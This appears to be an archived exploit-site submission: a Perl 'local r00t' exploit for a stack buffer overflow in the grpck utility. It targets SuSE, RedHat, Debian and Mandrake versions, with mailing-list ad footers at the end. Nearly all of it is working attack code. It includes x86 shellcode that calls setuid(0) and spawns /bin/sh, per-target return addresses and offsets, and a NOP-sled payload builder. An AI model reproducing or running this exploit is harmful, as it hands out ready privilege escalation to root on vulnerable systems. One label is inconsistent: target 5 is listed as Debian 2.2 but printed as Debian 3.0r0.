grpck-expl.pl

`Hi packetstorm dudez!  
  
--- start here ---  
#!/usr/bin/perl  
  
# www.uhagr.org - [email protected]   
  
# This is only a Proof of concept.   
# /usr/sbin/grpck is not suid root by default.  
  
# castle:~ # /usr/sbin/grpck `perl -e 'print "X"x2900'`  
# Segmentation fault  
# castle:~ #  
  
my $usage = <<x;  
  
[ uhagr team -ghostian -extraneous ]   
-- grpck Local r00t exploit --   
  
Usage: ./grpck-expl.pl <target>  
Example: ./grpck-expl.pl 1  
  
TARGETS:  
[ 1 ] SuSE Linux 7.2  
[ 2 ] RedHat Linux 8.0   
[ 3 ] RedHat Linux 7.3  
[ 4 ] RedHat Linux 7.2  
[ 5 ] Debian Linux 2.2  
[ 6 ] Mandrake Linux 8.2  
x  
  
$target = ($ARGV[0]);  
  
$shellcode =   
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";  
  
if (!$target) { print "$usage\n"; exit; }  
  
if ($target eq '1') {  
$ret = 0xbfffe514;  
$offset = 940;  
$buf = 2900;  
$egg = 2000;  
$nop = "\x90";  
print "\n Target: SuSE Linux 7.2\n";  
}  
  
if ($target eq '2' ) {  
$ret = 0xbfffe5bc;  
$offset = 851;  
$buf = 2900;  
$egg = 2000;  
$nop = "\x90";  
print "\n Target: RedHat Linux 8.0\n";  
}  
  
if ($target eq '3' ) {  
$ret = 0xbfffef94;  
$offset = 1812;  
$buf = 2900;  
$egg = 2000;  
$nop = "\x90";  
print "\n Target: RedHat Linux 7.3\n";  
}  
  
if ($target eq '4' ) {  
$ret = 0xbfffe73c;  
$offset = 645;  
$buf = 2900;  
$egg = 2000;  
$nop = "\x90";  
print "\n Target: RedHat Linux 7.2\n";  
}  
  
if ($target eq '5' ) {  
$ret = 0xbfffe934;  
$offset = 1541;  
$buf = 2900;  
$egg = 2000;  
$nop = "\x90";  
print "\n Target: Debian Linux 3.0r0\n";  
}  
  
if ($target eq '6' ) {  
$ret = 0xbffff0ae;  
$offset = 1859;  
$buf = 2900;  
$egg = 2000;  
$nop = "\x90";  
print "\n Target: Mandrake Linux 8.2\n";  
}  
  
  
$addr = pack('l', ($ret + $offset));  
for ($i = 0; $i < $buf; $i += 4) {  
$buffer .= $addr;  
}  
  
for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {  
$buffer .= $nop;  
}  
  
$buffer .= $shellcode;  
print "r00t?\n";   
exec("/usr/sbin/grpck", $buffer,0);  
  
# Have a nice night ;]  
--- cut here ---  
  
Thanks!  
The uhagr team  
  
_____________________________________________________________  
Sign up for FREE email from LinuxMail.gr at http://www.linuxmail.gr  
Powered by LinuxFreaks.gr  
  
_____________________________________________________________  
Select your own custom email address for FREE! Get [email protected] w/No Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag  
`